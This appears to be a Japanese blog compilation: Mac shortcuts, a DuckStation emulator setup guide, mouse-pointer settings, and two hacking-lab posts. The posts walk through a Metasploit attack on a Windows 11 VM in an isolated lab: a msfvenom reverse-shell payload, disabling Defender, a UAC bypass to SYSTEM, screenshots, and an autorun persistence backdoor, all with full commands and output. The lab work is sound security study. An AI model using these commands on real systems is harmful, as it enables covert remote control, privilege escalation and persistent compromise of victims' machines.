ショートカットキーでMacの操作を爆速にする

Macで使用できるショートカットキーは、Appleの公式HPに記載されていますが、特によく使われるものを紹介します。

電源オフ

[control]+[電源]➡️コンピュータを今すぐ終了してもよろしいですか?

画面キャプチャー

[shift]+[command]+[4]➡️十字カーソルで範囲を選択
[shift]+[command]+[4]➡️十字カーソルの状態で[space]➡️カメラアイコン➡️ウインドウを選択

Finderでファイルを開く

[command]+[↓]

Finderでファイル移動

[command]+[C]➡️[command]+[option]+[V]

Finderでファイルのプロパティ

[command]+[I]

Finderで進んだり戻ったり

[command]+ [ ➡️前のフォルダに移動
[command]+ ] ➡️次のフォルダに移動

Finderでディレクトリ作成

[shift]+[command]+[N]

Finderでアドレスバー

[command]+[shift]+[G]

最も熱いPSエミュレータ「DuckStation」

マスコット・キャラ

DuckStationは、PlayStationTM(初代PS:PS1)のエミュレータ(エミュ)です。おそらく、PS1のレトロゲームをPCで楽しめるものの中では、最も評価の高いPSエミュでしょう。
比較的低スペックのPCで遊べます。高性能PCでは画質をキレイに補正する機能を用いることにより、より快適に遊ぶことができます。
DuckStationを動作させるためには別途、「BIOS」と呼ばれるPSのプログラムが必要になります。

DuckStationのインストール方法とは

こちらのリンクにアクセスします。
“duckstation-windows-x64-release.zip”をクリックしてダウンロードします。

ダウンロードしたファイルはZIP形式の圧縮ファイルです。エクスプローラからファイルをマウスで右クリックして[すべて展開]を選択し、解凍します。

あとは解凍したフォルダ”duckstation-windows-x64-release”を任意の場所に移動するだけです。私はフォルダ名を”duckstation”という短い名前に変えて配置しました。

DuckStationを起動してみよう

配置したフォルダにある”duckstation-qt-x64-ReleaseLTCG.exe”をダブルクリックして起動します。

MSVCP140_1.dll が無いというエラーの対処方法とは

MSVCP140_1.dll が無いというエラーが出ても、あわてる必要はありません。こちらのリンクから、DuckStationが使用するプログラムをダウンロードします。ダウンロードしたファイルを実行し、インストールします。再度、DuckStationを起動すればエラーは解消されています。

次の画面が表示されたら、起動成功です。

タスクバーにDuckStationのアイコンが表示されています。アイコンを右クリックし、[タスクバーにピン留めする]を選択して、次回から素早く起動できるようにしておきましょう。

日本語にしよう

DuckStationを日本語にするのは簡単です。
メニューバーから[Settings]>[Language]>[日本語]を選択します。

日本語が表示されました。

BIOSを設定しよう

実はこの時点ではまだ、ゲームを起動できません。あらかじめ準備したBIOSを所定のフォルダにセットアップする必要があります。
DuckStationは初回起動時に「ドキュメント」フォルダにファイルを作成します。
エクスプローラを起動し、[ドキュメント]>[DuckStation]>[bios]の順にフォルダを移動します。このbiosフォルダに、あらかじめ準備しておいたBIOSファイルを配置します。

[Start BIOS]をクリックして、次の画面が表示されればBIOSの設定は完了です。

ゲームの起動確認をしよう

この時点で、ゲームが正常に起動できることを確認しておきます。
[イメージ起動]ボタンをクリックします。「ディスクイメージを選択」する画面が表示されるので、ゲームのイメージファイルを選択して[開く]ボタンをクリックします。

ゲームが起動できました。

ゲームパッドを設定しよう

ひとまず、DuckStationを終了し、ゲームパッドをPCに接続します。ここでは、Logicool Gamepad F310を試します。
[設定]>[コントローラー設定]を選択します。

次の画面が表示されます。
キーボードの各キーが割り当てられていることが確認できます。

①[ポート1]タブが選択された状態のまま、②「コントローラータイプ」を接続したゲームパッドの仕様に応じて選択します。Logicool Gamepad F310のコントローラタイプは、[デジタルコントローラー]でした。
コントローラタイプを設定すると、③[すべて再割り当て]をクリックし、④順番にゲームパッドのボタン押して割り当てていきます。

ゲームの一覧を表示して起動するには

DuckStationの起動画面にゲームをリスト表示し、リストから選択して起動する方法です。あらかじめゲームが保存されているフォルダ(ディレクトリ)を指定して一覧表示します。たくさんゲームがある場合は便利です。
[設定]>[ゲームディレクトリを追加]を選択します。

「検索するディレクトリを選択」画面が表示されます。ゲームたちが格納されているフォルダに移動し、「フォルダの選択」をクリックします。例えば、下の画面では「ps1roms」フォルダにふたつのゲームが格納されています。

指定フォルダの直下だけではなく、さらにその下の階層のフォルダにもゲームがある場合は「はい」をクリックします。とりあえず、この段階では「はい」を選択しておいてもよいかもしれません。

指定したフォルダ下にあるゲームは下の画面のように一覧で表示されます。
ゲームをROMから吸い出したときの出力ファイルの形式により、表示形式が異なるようです。CD-ROM1枚当たり1行で表示される場合と、2行表示される場合が確認できました。
図の「コード」列が同じであれば、同じゲームで同一のCDです。

リストのどれでも、ダブルクリックするとゲームが起動できます。
特にセーブなどをしなくても、前回まで実行していたシーンの続きから始まります。

解像度を増やしてキレイにしよう

DuckStationには「アップスケーリング」という機能があります。映像を元の大きさよりも多い画素数に変換してくれるので、大きなサイズのウインドウに表示しても違和感なくゲームを楽しめます。
メニューバーの[設定]>[拡張設定]を選択します。
[レンダリングの機能強化]グループの[内部改造スケール]を変更します。どこまでスケールを拡大できるかは、ハードに依存するでしょう。

続いて、[PGXP]グループの下図の4つの項目にチェックを入れます。PGXPというのは、描画する際の「歪み」を補正する機能です。

ゲームのセーブとロード

DuckStationのステートセーブ機能を用いると、ゲーム中のどの場面でもセーブすることができます。

ゲームの状態をセーブするには

[F2]キーでセーブできます。
左の[ステートセーブ]アイコンをクリックしてもセーブできます。
メニューからセーブする方法は下の図の通りです。

ゲームをロードするには

起動時にロードするには下の図のように、ゲームリストをマウスで右クリックして、メニューから[ステートロード]>[ゲームセーブ1]などを選択します。

ゲーム実行中の場合は、[F1]キーでロードできます。もちろん、アイコンやメニューからも可能です。

チートを活用するには

DuckStationではなんと、チートを自動でダウンロードしてくれます。
チートとは、ゲームを有利に進めるためにゲーム(のデータ)を書き換える裏技のようなものです。HPを無限にするといったことが可能になります。一般的なエミュはWEBでチートコードを検索し、エミュレータに読み込ませる必要がありますが、DuckStationは勝手にダウンロードしてくれるので、その必要が無いことが多いです。ただし、ダウンロードしてくれないゲームもあります。

[チート]アイコンをクリックし、[チートマネージャ]を選択します。

途中、チートはゲームに不具合を生じさせる可能性があることを警告するメッセージが出ます。[はい]をクリックして続けます。

「チートマネージャ」により、チートの説明が英語の一覧で表示されます。下の図のように、チートにチェックを入れると有効化されます。

なお、チートが自動的にダウンロードされないゲームなどでは、WEBで見つけたチートコードなどをDuckStationに読み込ませることも可能です。その場合は「チートマネージャ」の「コードを追加」を選択し、チートを入力します。

さいごに

それでは、PS1のレトロゲームをPCでお楽しみください!

マウスポインターを拡大して見やすくするには

一部のパソコンユーザの方には、すぐマウスポインターが迷子になってしまい、不自由を感じている方もいるのではないでしょうか?
本稿では自分仕様の設定に変更して見やすくする方法を紹介します。

Windows編

Windows 11バージョン「21H2」を使用します。

キーボードのWindowsキー(田)を押してメニューを開き、[設定]アイコンをクリックします。

[アクセシビリティ]>[マウス ポインターとタッチ]の順にクリックします。

下の画面の「サイズ」でスライダーの位置を右に移動するとマウスポインターが大きくなります。

下の画面で、マウスポインターを見やすい色に変更できます。

Mac編

MacOS 12 Montereyでの紹介です。

Macではマウスポインターを左右に素早く振ると、マウスポインターが一時的に拡大され、見つけることができます。
マウスを常に大きめにするためには、次の操作を行います。
上部メニューバーの「リンゴマーク」をクリックし、メニューから[システム環境設定]を起動します。

[アクセシビリティ]をクリックします。

[ディスプレイ]>[ポインタ]タブの順に選択します。
「ポインタのサイズ」でスライダを動かしてサイズを変更します。

「ハッキング・ラボのつくりかた」2022 #018

IPUSIRON氏著の「ハッキング・ラボの作り方 仮想環境におけるハッカー体験学習」を実践した記録です。
ホストOSはWindows 11です。

第2部

第4章 Windowsのハッキング

4-3 Windows 11のハッキング

IPUSIRON氏著の「ハッキング・ラボの作り方 仮想環境におけるハッカー体験学習」(以降「著書」といいます)での「4-2 Windows 10のハッキング」の記載内容を踏襲したうえで、Windows 11に対するハッキングに挑戦します。本稿ではあえて「4-2」は空節(4-2をスキップ)とし、著書にはない「4-3」としてWindows 11版のハッキングを紹介します。

Kaliとの疎通を確認するには

Windows 11のハッキング実験環境は以下の通りです。

KaliWindows 11
位置づけ攻撃側被害者側
ネットワーク1ホストオンリーホストオンリー
IPアドレス1192.168.56.103192.168.56.101
ネットワーク2NATNAT
IPアドレス210.0.3.1510.0.2.15

Windows 11からKaliの方向で疎通確認を行います。

C:\Users\win>ping 192.168.56.103

192.168.56.103 に ping を送信しています 32 バイトのデータ:
192.168.56.103 からの応答: バイト数 =32 時間 <1ms TTL=64
192.168.56.103 からの応答: バイト数 =32 時間 =1ms TTL=64
192.168.56.103 からの応答: バイト数 =32 時間 =1ms TTL=64
192.168.56.103 からの応答: バイト数 =32 時間 =1ms TTL=64

192.168.56.103 の ping 統計:
    パケット数: 送信 = 4、受信 = 4、損失 = 0 (0% の損失)、
ラウンド トリップの概算時間 (ミリ秒):
    最小 = 0ms、最大 = 1ms、平均 = 0ms

今度は逆に、KaliからWindwos 11に対して疎通確認をします。

$ ping 192.168.56.101
PING 192.168.56.101 (192.168.56.101) 56(84) bytes of data.
64 bytes from 192.168.56.101: icmp_seq=1 ttl=128 time=0.415 ms
64 bytes from 192.168.56.101: icmp_seq=2 ttl=128 time=0.848 ms
64 bytes from 192.168.56.101: icmp_seq=3 ttl=128 time=1.33 ms
^C
--- 192.168.56.101 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2028ms
rtt min/avg/max/mdev = 0.415/0.865/1.334/0.375 ms

Windows 11をMetasploitで攻撃するには

Metasploitは、ネットワークに接続されているコンピュータシステムに対し、実際に侵入を試みることでシステムに脆弱性がないかどうか検証するために使用されるツールです。

ここでは、次の流れでハッキングの実験を行います。

  1. Kali上で実験用の「悪意のあるプログラム」を作成する
  2. 上記1のプログラムをWindows 11にコピーする
  3. Kaliでリバースシェルを待ち受ける
  4. Windows 11サイドから、1のプログラムを実行しKaliに接続する
  5. KaliからWindows 11を制御する

リバースシェルのペイロードを作成するには

ペイロードとは、ここでは悪意のあるプログラムのことです。あくまでも実験的に作成するという趣旨です。Windows 11は64bit版しかないので、64bitのペイロードを作成します。Kali端末から以下のコマンドを実行します。

Windows 11を操る「あやしい」プログラムをKaliで作成しよう

Kali上のTerminalから以下のコマンドを実行します。

msfconsole

アスキーアートやメッセージが表示された後、以下のプロンプトが表示されます。

msf6 > 

次に、searchコマンドで「ペイロード」かつ「TCP対応リバースシェル」かつ「Windows対応」のモジュールを検索します。

msf6 > search type:payload reverse_tcp platform:windows

今回の検索結果では146行出力されました。ここでは、115行目の以下のモジュールを使用します。

115  payload/windows/x64/meterpreter/reverse_tcp                                              normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager

上記検索結果の、”payload/windows/x64/meterpreter/reverse_tcp”の部分が「パス」と呼ばれ、ペイロードを作成するときに使用されます。

次に下記を実行してペイロードを作成します。
“msf6 >”のプロンプトから、あるいはシェルから直接でも実行可能です。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.103 -f exe -o $HOME/evel2.exe

ここで、オプションの意味は以下の通りです。

-psearchコマンドで検索したペイロードを作成するためのパス
LHOST=ペイロードからの接続先(ここではKaliのIPアドレスを指定)
-f出力する実行ファイルの形式
-oペイロードの保存先(ここではKaliのホームディレクトリを指定)とファイル名(evil2.exe)

実行結果は下の図です。

ペイロードをKaliからWindowsにコピーするには

KaliでWebサーバを立てて、Kaliで作成したペイロードをWindows 11からダウンロードできるようにします。

ここまでで、一連のWindows 7のハッキングを実施してきた方は、共有ディレクトリにペイロードをコピーしてWEBサーバを再起動します。

cp ~kali/evil2.exe /var/www/html/share
service apache2 restart

Windows 11から始めた方は、共有ディレクトリを作成し、Webサーバを起動します。
まず、管理者権限を持つスーパーユーザになります。

sudo -s     #スーパーユーザに移行する

/var/www/html/shareに共有ディレクトリを作成し、evil2.exeをコピーします。

cd /var/www/html  
mkdir share
cp ~kali/evil2.exe share
chmod -R 755 share     

Webサーバ(Apache2)を起動して、共有ディレクトリにあるevil2.exeをダウンロードできるようにします。

systemctl start apache2
systemctl status apache2    # Apacheが正常に起動されたか確認

Windows 11のEdge(ブラウザ)から”http://192.168.56.103/share/”にアクセスします。
下のように、Kali上の”evil2.exe”が参照できました。
クリックしてダウンロードします。

Edgeの上部右に下図が表示されるので、[…]をクリックします。

メニューの[保存]をクリックします。

[詳細表示]をクリックします。

[保持する]をクリックします。

次のメッセージが表示されれば、ダウンロード成功です。エクスプローラで「ダウンロード」フォルダを確認します。

「ウイルスが検出されました」と表示された場合には

下図のように、「ウイルスが検出されました」と表示されてしまった場合、ダウンロードが行われていません。その場合の対処方法を説明します。

Windowsキー(田)を押して、”vir”と入力します。検索結果に「ウイルスと驚異の防止」が表示されるでしょう。クリックします。

「ウイルスと驚異の防止の設定」にある[設定の管理]リンクをクリックします。

「リアルタイム保護」のスイッチを「オフ」にします。

このスイッチを「オフ」にしても、再起動などのタイミングで「オン」に戻るようです。

リアルタイム保護をオフにしたうえで、再度ダウンロードを行うと、以下の通り表示されます。ダウンロード成功です。エクスプローラで「ダウンロード」フォルダを確認します。

Windows 11からの接続を待ち受けるには

KaliのTerminalからmsfconsoleを起動します。以降の図では、コマンド実行時のプロンプトと出力結果も示します。

$ msfconsole
 <アスキーアートなどが表示されます>

次のコマンドを実行します。

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp

続いて下のように、プロンプト(”msf6 exploit(multi/handler) > “)が表示されるので、setサブコマンドで以下を実行します。

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp

次もsetコマンドで、”LHOST”にKaliのIPアドレスを設定します。

msf6 exploit(multi/handler) > set LHOST 192.168.56.103
LHOST => 192.168.56.103

続いてexploitコマンドをバックグラウンドジョブとして実行します。

msf6 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) > 
[*] Started reverse TCP handler on 192.168.56.103:4444 

実行結果では、exploitコマンドがバックグラウンドで実行されたので、プロンプトが帰っています。そのあとで、meterpreterセッションの待ち受けが4444ポートで始まった際のメッセージが表示されています。

KaliからWindows 11の操作を行うには

ここからは、KaliとWindows 11それぞれの仮想環境を表示したウインドウを、並べて操作できるようにしておくと分かりやすいと思います。
まず、Windows 11の仮想マシンに移ります。
エクスプローラの「ダウンロード」フォルダにある”evil2.exe”のアイコンをダブルクリックして起動します。

次の画面が表示された場合は、[詳細情報]をクリックします。

[実行]ボタンが表示されるので、クリックします。

Kali側のTerminalでは次のメッセージが表示されます。KaliとWindows 11とのセッションが確立されました。

セッションの一覧を表示します。

sessions -i

実行結果は以下です。セッションIDは1です。

それではWindows 11の操作をKaliから行います。

msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >

カレントフォルダを表示します。
Downloadsにあるファイルが表示されました。

meterpreter > pwd
C:\Users\win\Downloads
meterpreter > ls
Listing: C:\Users\win\Downloads
===============================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2022-05-26 11:25:17 +0900  desktop.ini
100777/rwxrwxrwx  7168  fil   2022-05-29 16:17:48 +0900  evel2.exe

Windows 11側で「ダウンロード」フォルダに”password.txt”というファイルを作成します。この状態でKali側から次のコマンドを実行します。

meterpreter > ls -la pa*
Listing: pa*
============

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  0     fil   2022-05-29 18:11:16 +0900  password.txt

password.txtが見えるようになっていることがわかります。

KaliからWindows 11のスクリーンショットをとるには

screenshotコマンドで、ターゲット端末上の画面を撮影してみます。ファイル名はランダムに命名されるようです。

meterpreter > screenshot
Screenshot saved to: /home/kali/cdjCdSwM.jpeg

Kaliのファイルマネージャでホームディレクトリを表示し、スクリーンショットのJpegファイルをダブルクリックします。

KaliからWindows 11の画面が丸見えです。

管理者権限を奪取するには

この状態でgetsystemコマンドで管理者権限の獲得を試みても失敗します。そこで、Windowsのアクセス制御機能を迂回するモジュールを探します。
まず、meterpreterをバックグラウンドに投入します。

meterpreter > bg
[*] Backgrounding session 1...

UACを迂回する「モジュール」を探します。

msf6 exploit(multi/handler) > search bypassuac

Matching Modules
================

   #   Name                                                   Disclosure Date  Rank       Check  Description
   -   ----                                                   ---------------  ----       -----  -----------
   0   exploit/windows/local/bypassuac_windows_store_filesys  2019-08-22       manual     Yes    Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)
   1   exploit/windows/local/bypassuac_windows_store_reg      2019-02-19       manual     Yes    Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry
   2   exploit/windows/local/bypassuac                        2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass
   3   exploit/windows/local/bypassuac_injection              2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection)
   4   exploit/windows/local/bypassuac_injection_winsxs       2017-04-06       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS
   5   exploit/windows/local/bypassuac_vbs                    2015-08-22       excellent  No     Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)
   6   exploit/windows/local/bypassuac_comhijack              1900-01-01       excellent  Yes    Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)
   7   exploit/windows/local/bypassuac_eventvwr               2016-08-15       excellent  Yes    Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
   8   exploit/windows/local/bypassuac_sdclt                  2017-03-17       excellent  Yes    Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)
   9   exploit/windows/local/bypassuac_silentcleanup          2019-02-24       excellent  No     Windows Escalate UAC Protection Bypass (Via SilentCleanup)
   10  exploit/windows/local/bypassuac_dotnet_profiler        2017-03-17       excellent  Yes    Windows Escalate UAC Protection Bypass (Via dot net profiler)
   11  exploit/windows/local/bypassuac_fodhelper              2017-05-12       excellent  Yes    Windows UAC Protection Bypass (Via FodHelper Registry Key)
   12  exploit/windows/local/bypassuac_sluihijack             2018-01-15       excellent  Yes    Windows UAC Protection Bypass (Via Slui File Handler Hijack)


Interact with a module by name or index. For example info 12, use 12 or use exploit/windows/local/bypassuac_sluihijack                

書籍では「Rankがexcellentかつ日時が新しい」モジュールが推奨されています。ここでは、Rankがmanualですが、日付が最も新しいモジュールを選択してみました。

msf6 exploit(multi/handler) > use exploit/windows/local/bypassuac_windows_store_filesys
[*] Using configured payload windows/x64/meterpreter/reverse_tcp 

show targetsコマンドを実行してみます。

msf6 exploit(windows/local/bypassuac_windows_store_filesys) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

以下、4つのsetコマンドを実行します。

msf6 exploit(windows/local/bypassuac_windows_store_filesys) > set TARGET 0
TARGET => 0
msf6 exploit(windows/local/bypassuac_windows_store_filesys) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/bypassuac_windows_store_filesys) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf6 exploit(windows/local/bypassuac_windows_store_filesys) > set LHOST 192.168.56.103
LHOST => 192.168.56.103

show optionsで確認しましょう。

msf6 exploit(windows/local/bypassuac_windows_store_filesys) > show options

Module options (exploit/windows/local/bypassuac_windows_store_filesys):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on


Payload options (windows/x64/meterpreter/reverse_https):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.56.103   yes       The local listener hostname
   LPORT     8443             yes       The local listener port
   LURI                       no        The HTTP Path


Exploit target:

   Id  Name
   --  ----
   0   Automatic

いよいよexploitコマンドを実行します。
meterpreterプロンプトは帰ってくるでしょうか?
ちょっとドキドキする瞬間です。

msf6 exploit(windows/local/bypassuac_windows_store_filesys) > exploit

[*] Started HTTPS reverse handler on https://192.168.56.103:8443
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Creating directory 'C:\Windows \'...
[*] Creating directory 'C:\Windows \System32\'...
[*] Creating payload 'C:\Windows \System32\propsys.dll'...
[*] Executing WSReset.exe...
[!] This exploit requires manual cleanup of the 'C:\Windows \' and 'C:\Windows \System32\' directories!
[!] https://192.168.56.103:8443 handling request from 192.168.56.101; (UUID: qeggored) Without a database connected that payload UUID tracking will not work!
[*] https://192.168.56.103:8443 handling request from 192.168.56.101; (UUID: qeggored) Staging x64 payload (201820 bytes) ...
[!] https://192.168.56.103:8443 handling request from 192.168.56.101; (UUID: qeggored) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 2 opened (192.168.56.103:8443 -> 127.0.0.1) at 2022-06-04 16:14:54 +0900

meterpreter > 

プロンプトが帰りました!成功です。
現在の権限を表示します。

meterpreter > getuid
Server username: w11-vb\win

権限奪取を試みてみます。

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

管理者権限に昇格しました。
一応確認します。

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

SYSTEMの権限奪取に成功です。

バックドアを仕掛けることはできるのか

結論から言うと、WindowsのDefenderを無効にしないと、ペイロードの実行をDefenderに阻止されるため、バックドアの自動実行は失敗します。通常、Defenderを無効化しているケースは極めてレアケースといえるでしょう。
一応、バックドアを仕掛けるところまでを参考までに紹介しておきます。

Windows 11起動時にペイロードが自動起動されるようにします。

meterpreter > run persistence -X -i 60 -P windows/x64/meterpreter/reverse_tcp -p 4444 -r 192.168.56.103
オプション説明
-X自動起動する
-i接続間隔(秒)
-Pペイロードを使用する
-pペイロードの相手ポート番号
-rペイロードの相手IPアドレス

上記コマンド実行中のメッセージは以下です。

[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value […]
[] Running Persistence Script [] Resource file for cleanup created at /home/kali/.msf4/logs/persistence/W11-VB_20220604.5155/W11-VB_20220604.5155.rc
[] Creating Payload=windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=4444 [] Persistent agent script is 10783 bytes long
[+] Persistent Script written to C:\Users\win\AppData\Local\Temp\BRCIdPXCdYHGP.vbs
[] Executing script C:\Users\win\AppData\Local\Temp\BRCIdPXCdYHGP.vbs [+] Agent executed with PID 3836 [] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\fnwVehFi
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\fnwVehFi

これでいったん、バックドアは仕掛けられましたが、次のWindows起動時にDefenderにバックドアが検出され、無効化されてしまいます。

さいごに

今回はMetasploitを使い、Windows 11の遠隔操作ができるところまでを紹介しました。
ハッキング・ラボシリーズはいったん、ここまでにします。著書のほうでは、Webカメラを乗っ取って盗撮するなど、興味深いトピックがありますので、ぜひ手に取られてみてはいかがでしょうか。

「ハッキング・ラボのつくりかた」2022 #017

IPUSIRON氏著の「ハッキング・ラボの作り方 仮想環境におけるハッカー体験学習」を実践した記録です。
ホストOSはWindows 11です。

第2部

第4章 Windowsのハッキング

4-3 Windows 11のハッキング

IPUSIRON氏著の「ハッキング・ラボの作り方 仮想環境におけるハッカー体験学習」(以降「著書」といいます)での「4-2 Windows 10のハッキング」の記載内容を踏襲したうえで、Windows 11に対するハッキングに挑戦します。本稿ではあえて「4-2」は空節(4-2をスキップ)とし、著書にはない「4-3」としてWindows 11版を紹介します。

Windows 11インストールに必要な要件とは

Windows 11には厳しいシステム要件があり、これを満たさないとインストールできません(以下の画面参照)。

しかし、ハッキングの実験環境を作成しようとしたとき、最新のハードウェア環境で実験できる方はむしろ幸運といえます。ほとんどのVirtualBox実行ハードウェアでは制約に抵触してしまうのではないでしょうか。

MicrosoftはWindows 11の最小システム要件を満たさない古いPCに、Windows 11をインストールできるようにする公式の方法を公開しています。本稿では、上記の方法を含めて古いPCでも多くのハードウェアでインストール可能とする方法を紹介します。

Windows 11環境構築の流れ

  1. Windows 11のISOファイルをダウンロード
  2. 仮想マシンの設定
  3. Windows 11のインストール
  4. インストールの途中でレジストリを変更(古いPCの場合)
  5. インストール後の設定

Window 11のISOファイルを入手するには

このリンクからMicrosoftの「Windows 11 をダウンロードする」ページ(下図)に移動します。
以下のページから、「Windows 11 ディスク イメージ (ISO) をダウンロードする」のプルダウンメニューで[Windows 11(multi-edition ISO)]を選択します。次に[ダウンロード]ボタンをクリックします。

「製品の言語の選択」が現れるので、[日本語]を選択し、[確認]をクリックします。

[64-bit ダウンロード]ボタンが現れるので、クリックしてダウンロードします。

VirtualBoxの設定をするには

VirtualBoxマネージャーを起動し、[新規]ボタンをクリックします。

まとめて入力できる[エキスパートモード]を選択します。

①[名前]を入力します。「Windows 11」とすると、②の[タイプ]と[バージョン]が適切に選択されました。
③続いて[メモリーサイズ]を設定します。4GB以上を設定する必要があります。
最後に④[作成]ボタンをクリックします。

次の画面が表示されるので、仮想ハードディスクの容量を指定し、[作成]をクリックします。

図のように新規で指定した名前の仮想マシンが表示されます。[設定]をクリックします。

①ディスプレイ>②プロセッサを選択します。
CPUは2以上とします。

①ディスプレイ>②スクリーンを選択します。
ビデオメモリーはMaxの128MB、グラフィックスコントローラーは[VBoxSVGA]とします。

図の順番にクリックし、準備したWindows 11のISOファイルを指定します。

ISOファイルが選択されました。

[ネットワーク]>[アダプター2]から、「割り当て」を[ホストオンリーアダプター]に設定します。
最後に[OK]をクリックします。

Windows 11をインストールしよう

仮想マシンを起動します。

仮想マシンの起動時に、英語で「DVDから起動するには何かキーを押して」という意味のメッセージが表示される場合があります。すかさず、スペースキーなどを押します。すると仮想マシンにマウントしたISOファイルから起動されます。

以下の画面に遷移したら、[次へ]をクリックします。

[今すぐインストール]をクリックします。

以下の画面ではいったん、[プロダクトキーがありません]をクリックします。ライセンス認証は後回しにすることができます。

Windowsのエディションを選択後、[次へ]。

下の画面が表示された場合は、Windows 11の要件に適合しないPC上でVirtualBoxが実行されているケースです。その場合は、次の「Windows 11の要件を回避するには」の手順を行います。下の画面が表示されなかった場合は、要件を回避する操作は不要です。

まず「戻る」ボタンをクリックし、ひとつ前の画面に戻ります。

Windows 11の要件を回避するには

下の画面で、[Shift]キーと[F10]キーを同時に押して、コマンドプロンプト(cmd)を表示します。このようにインストール中の画面でも、cmdやメモ帳を起動することが可能です。

コマンドプロンプトから以下の通り入力し、メモ帳を起動します。

notepad

以下のコードをメモ帳に書き込みます。1行目のバージョンの行も忘れずに。
最後の5行は次の文字列が共通しています。この文字列を5行コピーして、「●●」を「TPM」など各々の行の文字列に置き換えてください。
“Bypass●●Check”=dword:00000001

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\Setup\LabConfig]
"BypassTPMCheck"=dword:00000001
"BypassSecureBootCheck"=dword:00000001
"BypassRAMCheck"=dword:00000001
"BypassStorageCheck"=dword:00000001
"BypassCPUCheck"=dword:00000001

ファイル名を「bypass.reg」として保存します。カレントフォルダのSourceフォルダ直下に保存すれば分かりやすいと思います。

メモ帳で保存後の「bypass.reg」を実行します。cmdから以下のように入力して実行します。bypass.regの実行によって、レジストリエディタが起動され、スクリプトに書かれたレジストリのキーなどが追加されます。成功するとWindows 11の要件チェックが回避されるようになります。

bypass.reg

レジストリエディタが「続行しますか?」と聞いてくるので、[はい]をクリックします。続いて、「D:\bypass.regに含まれるキーと値が、レジストリに正常に追加されました」とメッセージが表示されれば、bypass.regの実行は成功です。ただし、ドライブ名は環境により異なるかもしれません。
[OK]をクリックしてダイアログを終了します。
最後に以下のコマンドでcmdを終了します。

exit

再度[次へ]をクリックします。

インストールを継続しよう

次の画面が表示されたら、ひとまず要件チェックをクリアしたといえるでしょう。「同意」にチェックをし、[次へ]をクリックします。

新規インストールを行うので「カスタム」を選択します。

以降は次のような画面を遷移します。
[次へ]をクリック。

下の画面に遷移したらインストールが開始されます。

何度か再起動が行われ、以下の画面からWindows 11の設定が始まります。ここからの画面遷移は省略します。画面の指示に従って操作してください。

Windows 11へのインストールが成功しました。

仮想マシンにマウントされたISOファイルの除去を行います。
VirtualBoxマネージャから[設定]画面を開きます。
①ストレージ>②光学ドライブアイコンからメニューを開き、[光学ドライブからディスクを除去]をクリックします。

Windows 11で行うべき初期設定とは

Guest Addtionsをインストールするには

Guest Additions をインストールすると、ゲストOSをより使いやすくするための様々な機能が利用できるようになります。
仮想マシン上部のメニューバーから、[デバイス]>[Guest Addtions CDイメージの挿入]をクリックします。

仮想マシン上でエクスプローラを起動し、Guest AdditionsのCDがマウントされたことを確認します。

エクスプローラでファイルの拡張子が表示されるようにします。
[表示]>[表示]>[ファイル名拡張子]をクリックします。

①マウントされた[VirtualBox Guest Additions]の中の、
②[VBoxWindowsAdditions.exe]をダブルクリックして起動します。

ユーザーアカウント制御の画面で「はい」をクリックすると、下の画面が表示が表示されます。画面に従って、セットアップを完了させます。

セットアップの最後に仮想マシンの再起動を促す画面が表示されるので、再起動してGuest Additionsのセットアップは完了です。

Pingの応答を返すように設定するには

Windowsキー(田)をクリックしてスタートメニューが表示されたところで、キーボードから”cp”と入力すると検索結果に[コントロールパネル]が表示されるでしょう。
コントロールパネルを開きます。

  1. コントロールパネルから、[システムとセキュリティ]>[Windows Defender ファイアウォール]をクリック
  2. 左ペインの[詳細設定]をクリック
  3. 「セキュリティが強化されたWindows Defenderファイアウォール」画面の左ペインから①[受信の規則]をクリック
  4. ②[ファイルとプリンターの共有(エコー要求 – ICMPv4送信)]が2行あるので2行を選択([Ctrl]キーを押しながらマウスをクリック)し、③選択部分を右クリックして[規則の有効化]をクリック(下図)

これで選択した2行にチェックマークがつき、Pingの応答を返すよう設定されました。

ウイルスからのリアルタイム保護を停止するには

これから実験的に「悪意のあるプログラム」を作成しますが、作成したプログラムをウイルス対策ソフト(Defender)に削除されてしまわないようにリアルタイム保護を停止しておきます。なお、以前紹介したように、保護を停止せず削除されたファイルを復活させる方法もあります。

